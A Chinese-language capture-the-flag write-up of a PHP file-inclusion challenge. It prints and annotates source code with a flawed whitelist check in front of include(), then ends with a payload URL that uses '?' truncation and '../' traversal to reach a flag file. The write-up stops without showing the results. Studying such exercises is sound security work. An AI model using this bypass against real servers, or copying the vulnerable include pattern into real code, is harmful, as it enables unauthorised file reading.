1、进入页面,发现是一个“滑稽”;
2、右击查看页面源码,可以看到有source.php注释;
3、通过在原URL后添加/source.php,可查看到如下内容,进行代码审计,分析源码。
<?php
highlight_file(__FILE__);
class emmm
{
//传入变量,也就是file,赋值给page
public static function checkFile(&$page)
{
//第一部分
//定义了白名单,包括scource.php和hint.php
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
//如果page不存在或者不是字符串则返回false
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
//第二部分
//检测传进来的值是否匹配白名单列表$whitelist ,如果有则执行真
if (in_array($page, $whitelist)) {
return true;
}
//第三部分
/*mb_substr为截断函数,第一个参数为传进来的字符串,第二个为起始位置,第三个参数为长度
mb_strpos为查找某值第一次出现的位置,这里表示截取page从0开始到第一个问号之间的字符 串,赋值给_page*/
//过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
//第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
//第四部分
//否则继续将page进行url解码,这里注意url传入服务器会自动进行一次urldecode
//?的url编码为%3F,双重url编码为%253F
$_page = urldecode($page);
//第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
//第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
//第五部分
//条件为file不为空、是字符串、checkFile返回true,否则一直显示滑稽
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
4、通过代码“ $whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];”,发现有hint.php,输入得到:
由此理解为flag在ffffllllaaaagggg中。
5、然后我们开始构造对应的路径一层一层找ffffllllaaaagggg,得到
http://da696482-ae2f-471f-b7b0-5193dd566c1c.node4.buuoj.cn:81/source.php?file=hint.php?../…/…/…/…/ffffllllaaaagggg
输入得到: